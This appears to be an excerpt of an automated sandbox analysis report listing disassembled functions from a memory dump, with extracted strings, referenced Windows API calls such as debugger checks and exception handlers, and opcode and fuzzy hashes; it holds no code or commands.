Opcode Fuzzy Hash: 43224bdd25edf3cd647e313b6fc372e26281ffc7aa97826d06acc6f3f334db7a
Instruction Fuzzy Hash: 9EB22BF3A0C2049FE3046E2DEC8567AFBE9EF94720F1A493DE6C5C7744EA3558018696

Function 0099ECC2 Relevance: 10.3, Strings: 7, Instructions: 1577COMMON

Download Yara Rule

Strings

"~m, xrefs: 0099F638
!=n, xrefs: 0099EF1A
s_mo, xrefs: 0099F793
$H}~, xrefs: 0099F1AE
nWv, xrefs: 0099FE80
UY, xrefs: 0099ECDE
s{30, xrefs: 0099FAC9

Memory Dump Source

Source File: 00000000.00000002.2664793231.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: !=n$"~m$$H}~$UY$nWv$s_mo$s{30
API String ID: 0-512909168
Opcode ID: 92336c41f83edaef5c147da8f4815a1044d3038fd108ad429a67486ca4bcf684
Instruction ID: a742461c19bfc503345a51c1a8adf23fec7d29e238376e95f167cad23a3cf3b9
Opcode Fuzzy Hash: 92336c41f83edaef5c147da8f4815a1044d3038fd108ad429a67486ca4bcf684
Instruction Fuzzy Hash: 18B2F6F360C204AFD304AE2DEC8566AF7E5EF94720F1A893DEAC4C3744EA7558418697

Function 0041A306 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1473COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0041A51D

Strings

1#QNAN, xrefs: 0041A419
1#SNAN, xrefs: 0041A412
1#IND, xrefs: 0041A40B
1#INF, xrefs: 0041A43C

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: e4a2af43c5bc17daceace0d9627c377d7fa11afa99750231fbf68f24f9a3cb98
Instruction ID: 71a107362d346717e648338213b5422f70619b5b18563a803cf0c70334ea4234
Opcode Fuzzy Hash: e4a2af43c5bc17daceace0d9627c377d7fa11afa99750231fbf68f24f9a3cb98
Instruction Fuzzy Hash: 78D22771E092288FDB65CE28DD407EAB7B5EB44314F1441EAD44DE7240E778AEC58F86

Function 0099369B Relevance: 9.9, Strings: 7, Instructions: 1130COMMON

Download Yara Rule

Strings

uEui, xrefs: 009943EE
s3, xrefs: 00993D48
?Tu7, xrefs: 00993BA2
M~~, xrefs: 00993D09
;w, xrefs: 0099427E
7Rwu, xrefs: 00993B07
x@6, xrefs: 00993921

Memory Dump Source

Source File: 00000000.00000002.2664793231.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: 7Rwu$;w$?Tu7$M~~$uEui$x@6$s3
API String ID: 0-1099699752
Opcode ID: 3ff587d0904ef30d78b8a7dedbb0a1519a89b80801a3d3cecc35737ad6e0cb40
Instruction ID: 741e2071dee629836626839fee26b1955acd89660cc93fb981c144672eac1443
Opcode Fuzzy Hash: 3ff587d0904ef30d78b8a7dedbb0a1519a89b80801a3d3cecc35737ad6e0cb40
Instruction Fuzzy Hash: 0272F5F3A0C6009FE304AE29EC4567AB7E6EFD4720F1A893DE6C5C3744E63598058697

Function 0098FFB8 Relevance: 7.5, Strings: 5, Instructions: 1245COMMON

Download Yara Rule

Strings

@sc, xrefs: 00990E52
Exo, xrefs: 0099032D
M)I, xrefs: 00990E73
#a_k, xrefs: 009906C6
>}L, xrefs: 00990EBA

Memory Dump Source

Source File: 00000000.00000002.2664793231.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: #a_k$@sc$Exo$M)I$>}L
API String ID: 0-2281292081
Opcode ID: 2be7c07585bd1797ba4a00982dbf95b3576276c3add1420cfae720254de0f7b7
Instruction ID: b3f62691ee69ea32b94b5f79f9055a4ca864fc527667c63f8bf6b8bb2caaa7da
Opcode Fuzzy Hash: 2be7c07585bd1797ba4a00982dbf95b3576276c3add1420cfae720254de0f7b7
Instruction Fuzzy Hash: 0782E4F260C604AFE304AE2DDC8577ABBE9EF94320F16492DE6C4C3744EA3598158797

Function 0040CDA3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,(@), ref: 0040CE9B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,(@), ref: 0040CEA5
UnhandledExceptionFilter.KERNEL32(004024E3,?,?,?,?,?,(@), ref: 0040CEB2

Strings

(@, xrefs: 0040CDBC

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID: (@
API String ID: 3906539128-3675327911
Opcode ID: 699cb89c4481d733bc24bc723ff59a4702c04dd7a22af15121b47e74e86c8d00
Instruction ID: 588a31918c4d7a6a9ba75f52031696ab4f5dbddd8307c033202189b188a5c7dc
Opcode Fuzzy Hash: 699cb89c4481d733bc24bc723ff59a4702c04dd7a22af15121b47e74e86c8d00
Instruction Fuzzy Hash: 5E31C475911228ABCB21DF65D8897CDBBB4AF08310F5081EAE40CA7291E7749F858F48

Function 00410900 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction ID: 1698085c936ca5c6c6a57ee88efec3ce2b030c017204745a192f91a5fd5d0df0
Opcode Fuzzy Hash: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction Fuzzy Hash: 8A025C71E002199BDF14CFA9D9806EEBBF1FF48314F24826AE919E7341D775A9818B84

Function 04D20B67 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction ID: 7b974b5269c746fab1b2d50eb7f63f185c346b1ab7d2d0233e8b425283e2fae5
Opcode Fuzzy Hash: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction Fuzzy Hash: 2A021D71E012299FDF15CFA9C9806ADFBF5FF58318F24826ADA15A7340D731A941CB90

Function 0040A54A Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,12041A13), ref: 0040A556
IsDebuggerPresent.KERNEL32 ref: 0040A622
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040A642
UnhandledExceptionFilter.KERNEL32(?), ref: 0040A64C

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction ID: 8b01d550a0a2fff4667565f177a0bd7aa15c2cc699040a0714bae659939ad5a8
Opcode Fuzzy Hash: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction Fuzzy Hash: 40311A75D0531CDBDB10DFA5D9897CDBBB8BF08304F1080AAE409A7290EB759A858F49

Function 04D1A7B1 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,12041A13), ref: 04D1A7BD
IsDebuggerPresent.KERNEL32 ref: 04D1A889
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 04D1A8A9
UnhandledExceptionFilter.KERNEL32(?), ref: 04D1A8B3

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction ID: f9a2955cd46215fa5113cb004c160572572073cf051d9228f3a072e8e5f29614
Opcode Fuzzy Hash: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction Fuzzy Hash: 6831FA75D05319EBDB10DFA4E9497CCBBB8BF08304F1041EAE409AB250EB715A85CF55

Function 00996597 Relevance: 5.4, Strings: 3, Instructions: 1602COMMON

Download Yara Rule

Strings

7fCN, xrefs: 00997550
k[, xrefs: 0099745E
Z9?, xrefs: 00996700

Memory Dump Source

Source File: 00000000.00000002.2664793231.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: Z9?$7fCN$k[
API String ID: 0-2801061227
Opcode ID: 1f35874b3c2e3b81512a1f6f2342deabd891cf32e5b4042eaa5f4b03b7ad1d03
Instruction ID: aaaea40035f4161904196b081f25d4259236efa4e9126306edf6ac049ec3a964
Opcode Fuzzy Hash: 1f35874b3c2e3b81512a1f6f2342deabd891cf32e5b4042eaa5f4b03b7ad1d03
Instruction Fuzzy Hash: 2EB217F360C2049FE3146E29EC8567EFBE9EF94720F1A892DE6C4C3344EA3558458697

Function 00991630 Relevance: 5.3, Strings: 3, Instructions: 1597COMMON

Download Yara Rule

Strings

&W, xrefs: 00991AF1
dSw}, xrefs: 0099230E
`:@, xrefs: 00991E4C

Memory Dump Source

Source File: 00000000.00000002.2664793231.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: `:@$dSw}$&W
API String ID: 0-3838474047
Opcode ID: 68b6cab49ea8060f3a71f2e66ef42c9309d437186e061ad66473642262c31131
Instruction ID: df62c0245a451c59a69d84e7b0e70bed35c0e64238b6fbca8cfd4e79f1fe9955
Opcode Fuzzy Hash: 68b6cab49ea8060f3a71f2e66ef42c9309d437186e061ad66473642262c31131
Instruction Fuzzy Hash: 7CB2E7F360C2049FE704AE29EC8567ABBE5EFD4720F16893DEAC4C7744EA3558018697

Function 04D1D00A Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,04D12A70), ref: 04D1D102
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,04D12A70), ref: 04D1D10C
UnhandledExceptionFilter.KERNEL32(04D1274A,?,?,?,?,?,04D12A70), ref: 04D1D119

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: eab9de89e4f223b0e8801f8ff3c4edb53ba30b9f948264c96fa02635900acdf3
Instruction ID: 933645556a395dfa24fbc4ef02adb743141ff18040fbb2b2f980f5ea1e49a311
Opcode Fuzzy Hash: eab9de89e4f223b0e8801f8ff3c4edb53ba30b9f948264c96fa02635900acdf3
Instruction Fuzzy Hash: EB319375901228ABCB21DF64E8887CDBBB4BF18310F5045EAE81CA7260E770AB858F55

Function 10005F25 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,10005F24,?,?,?,?,?,10001F4F), ref: 10005F47
TerminateProcess.KERNEL32(00000000,?,10005F24,?,?,?,?,?,10001F4F), ref: 10005F4E
ExitProcess.KERNEL32 ref: 10005F60

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 25e154c42a67dcf87d00edb929b2d1476c3327d7ef7788f8d8e64d02c0ecb1df
Instruction ID: 146749da7bea6e31057676a24497a7e39fcb2650f4e844f2ac51073fb5c6c599
Opcode Fuzzy Hash: 25e154c42a67dcf87d00edb929b2d1476c3327d7ef7788f8d8e64d02c0ecb1df
Instruction Fuzzy Hash: 02E08631404589EFEF069F10CD4CA993B69FB442C2B008024F50D8A135CB7AEDD1CB41

Function 00999BA9 Relevance: 4.1, Strings: 2, Instructions: 1636COMMON

Download Yara Rule

Strings

ZFo, xrefs: 00999D91
>5${, xrefs: 0099A1EE

Memory Dump Source

Source File: 00000000.00000002.2664793231.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: >5${$ZFo
API String ID: 0-168576149
Opcode ID: d2fb36460b316c31f5c9f14a61a34234469bd65b191a375ae807089c6086e159
Instruction ID: db96329b0407ab2de1b9e60aef067c7b6e04365c210ddf2e53abf8873adf45a9
Opcode Fuzzy Hash: d2fb36460b316c31f5c9f14a61a34234469bd65b191a375ae807089c6086e159
Instruction Fuzzy Hash: D9B2F6F3A0C200AFE7046E2DEC8567ABBE5EF94320F1A453DEAC4C3744E63598158697

Function 0099B657 Relevance: 4.0, Strings: 2, Instructions: 1521COMMON

Download Yara Rule

Strings

>EA$, xrefs: 0099BF11
\mOu, xrefs: 0099BB06

Memory Dump Source

Source File: 00000000.00000002.2664793231.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: >EA$$\mOu
API String ID: 0-3185397086
Opcode ID: 0c4a9a47dc48c6d43f5d7183747ca474172a3ca7b30931f5270219aba500af33
Instruction ID: be8112b432b1c7713929cf797894a570fdfd5dcdb22d1be4b7943256b60e9f97
Opcode Fuzzy Hash: 0c4a9a47dc48c6d43f5d7183747ca474172a3ca7b30931f5270219aba500af33
Instruction Fuzzy Hash: 66B2D0F290C2049FD3046F2DEC8567AFBE9EF94720F1A493DEAC487740EA3558418A97

Function 04D1092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

GetProcAddress., xrefs: 04D109DC, 04D109DF, 04D109E4
l, xrefs: 04D10966
., xrefs: 04D1095F

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: e160130273fef3913f4162cf9152a8333aea5568fc34e3c3bb4b434c7f997a1a
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 4F317CB6900609DFDB11DF99D880AADBBF9FF09324F14404AD941A7720D771FA85CBA4

Function 004107E2 Relevance: 3.0, APIs: 2, Instructions: 44timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,92291A76), ref: 004107F7
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Time$FileSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1518329722-0
Opcode ID: 5c7dfd05e128c4447f34c82fa0a83ef235602569a1e055a837d6a0b3eab8545e
Instruction ID: 9ffaf8f16d1feaf21b4895ba9d91ffe558ea63f081936d9fadb7ea4d2284f30e
Opcode Fuzzy Hash: 5c7dfd05e128c4447f34c82fa0a83ef235602569a1e055a837d6a0b3eab8545e
Instruction Fuzzy Hash: C2F0F4B5A002147F8724EF6EC8049DFBEE9EBC5370725826AE809D3340D9B4DD82C2D4

Function 0040EEC9 Relevance: 2.8, Strings: 2, Instructions: 333COMMON

Download Yara Rule

Strings

Z@, xrefs: 0040F165, 0040F187, 0040F16B, 0040F194
0Z@, xrefs: 0040F0D1, 0040F0D7

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: 0Z@$Z@
API String ID: 0-605451032
Opcode ID: a43c74f0a017d1f7b27258233af7b0f8bd5ab01d46b0208e3573d12e86ff0486
Instruction ID: c2704d3dc0eafd102a63da391050ffa25cdd35e93d0e938198e091b07b9d6d51
Opcode Fuzzy Hash: a43c74f0a017d1f7b27258233af7b0f8bd5ab01d46b0208e3573d12e86ff0486
Instruction Fuzzy Hash: 7AC1DE709006079ECB34CE69C584A7BBBB1AB45304F184A3FD452BBBD2C339AC59CB59

Function 0040EB87 Relevance: 2.8, Strings: 2, Instructions: 318COMMON

Download Yara Rule

Strings

H@, xrefs: 0040EEAB, 0040EE4D, 0040EDEF, 0040ED70
0, xrefs: 0040ED0B

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: 0$H@
API String ID: 0-2786613154
Opcode ID: ca813c29726484238c91fef20f317be1219e422960450490370ba48bfc0cd99d
Instruction ID: 4a3fd9315a5abbba8fc5c956050257a45ee5a7b78c0dcd4935651e2db0378757
Opcode Fuzzy Hash: ca813c29726484238c91fef20f317be1219e422960450490370ba48bfc0cd99d
Instruction Fuzzy Hash: 9CB1E57090460B8BDB24CE6AC555ABFB7A1AF05304F140E3FD592B77C1C739A926CB89

Function 00844233 Relevance: 2.7, Strings: 2, Instructions: 215COMMON

Download Yara Rule

Strings

4oz, xrefs: 008442C5
Z_w_, xrefs: 0084443C

Memory Dump Source

Source File: 00000000.00000002.2664793231.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: 4oz$Z_w_
API String ID: 0-3189895330
Opcode ID: d88f120c96f9d7210a929dfc8b24fbfb0ee7b6227cadcbea2a603efc5187d7e3
Instruction ID: adc6b3290ba318e1d4a402494d4c0c6dc826a04e65e40405a905db4013291aa3
Opcode Fuzzy Hash: d88f120c96f9d7210a929dfc8b24fbfb0ee7b6227cadcbea2a603efc5187d7e3
Instruction Fuzzy Hash: 6F6137B3A081109FE308AA6DEC5177ABBD5EBD4321F16493EEAC5D7384ED355C018786

Function 1000E184 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,1000E17F,?,?,00000008,?,?,1000DE14,00000000), ref: 1000E3B1

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: d9cad4c0d431712b17d678ca3744fd01f07566361e254315dc393335121516ed
Instruction ID: 1a3fbdf84673f95942c1f426381f735e0c8de5aa42652e790f36daf84cbc2009
Opcode Fuzzy Hash: d9cad4c0d431712b17d678ca3744fd01f07566361e254315dc393335121516ed
Instruction Fuzzy Hash: 9CB14A31610649CFE715CF28C486B997BE0FF453A4F258658E89ADF2A5C335EE82CB40

Function 004156EE Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,004156E9,?,?,00000008,?,?,0041C64A,00000000), ref: 0041591B

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction ID: 5bcf9fd90164e7ff1602427bca0bed587a5bb36a9d426d5c8fdac6ccf5812400
Opcode Fuzzy Hash: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction Fuzzy Hash: 72B16C71520A08CFD715CF28C48ABE57BE0FF85364F258659E8A9CF2A1C339D992CB45

Function 04D25955 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,04D25950,?,?,00000008,?,?,04D2C8B1,00000000), ref: 04D25B82

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction ID: 2801b67b2afc963d8376e690285d170d14bccdb0fdf469fad0e48d5a5d77fad3
Opcode Fuzzy Hash: e03884c1b799fb46ae45e907d4085e80ad0ec7257463db2e47aeebe4ac254d4e
Instruction Fuzzy Hash: 16B15A31210618EFD714CF28D59AB647BE0FF55369F298698E89ACF2A1D335E981CB40

Function 0040A2AC Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0040A2C2

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 0087427e5fec96f3a69268fd39bcd2ddcdf30d7205d75486cccbac6015e6632e
Instruction ID: f7b9881a7c7b2d148b80d66715c196e1d6a207a6bc978660656b7b5c1fc1941f
Opcode Fuzzy Hash: 0087427e5fec96f3a69268fd39bcd2ddcdf30d7205d75486cccbac6015e6632e
Instruction Fuzzy Hash: 395126B1E00705DBDB24CF95D885BAEBBE0FB48314F24843AD845EB3A0D37899518B99

Function 04D1F130 Relevance: 1.6, Strings: 1, Instructions: 333COMMON

Download Yara Rule

Strings

0, xrefs: 04D1F2A0

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 8eb8cff735118d4cdf18e48b5e4fd70e4005089286b1f543a5e77019ad8e0901
Instruction ID: 266aa6246b0e6035129194902af3578424b33895b1f6540046232cb440783f45
Opcode Fuzzy Hash: 8eb8cff735118d4cdf18e48b5e4fd70e4005089286b1f543a5e77019ad8e0901
Instruction Fuzzy Hash: 83C1CA74A04606BEDB24CFA8E5846BABBB1FB46304F144A1DDC96D76B1D330F946CB60

Function 04D1EDEE Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 04D1EF72

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 879cce724f58335765498cd27df84c01b4e50fca817c5947501d6afb968e75ec
Instruction ID: 751bda975517a49aa0e36fbb871a69ea3996f59e66c6ce64cf4c091bd36cf6aa
Opcode Fuzzy Hash: 879cce724f58335765498cd27df84c01b4e50fca817c5947501d6afb968e75ec
Instruction Fuzzy Hash: C7B1AF70B0460AABDB24CF68E994ABEBBA1FF44304F14061EED96976B0D731F641CB51

Function 0082586D Relevance: 1.5, Strings: 1, Instructions: 261COMMON

Download Yara Rule

Strings

NTDL, xrefs: 00825B07

Memory Dump Source

Source File: 00000000.00000002.2664793231.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: NTDL
API String ID: 0-3662016964
Opcode ID: b8ebaf3dd641c9cd7850e625d9ae9fb37946fa8ca6ee77fe068cc95c7a2a8eae
Instruction ID: f6cae74657e03948cd5303e53a9b7fd65d8ecab369a71eeb2877a2e85ec86cf4
Opcode Fuzzy Hash: b8ebaf3dd641c9cd7850e625d9ae9fb37946fa8ca6ee77fe068cc95c7a2a8eae
Instruction Fuzzy Hash: 30811472988A3E8FDB158F14E5811EF7BE1FB56334F30412AD842D7A02E2B24DD19B58

Function 0040A6E0 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000A6EC,0040A064), ref: 0040A6E5

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction ID: 6de328abc9b99a616df872271d62a2f30248adc2819e8ef2996fe7ca66473f4a
Opcode Fuzzy Hash: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction Fuzzy Hash:

Function 04D1A947 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(0040A6EC,04D1A2CB), ref: 04D1A94C

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction ID: 6de328abc9b99a616df872271d62a2f30248adc2819e8ef2996fe7ca66473f4a
Opcode Fuzzy Hash: 57eb909cc499ab73dfbd1e7bda14dcacb44b248db614b08e85bbc339297afc36
Instruction Fuzzy Hash:

Function 00415E19 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
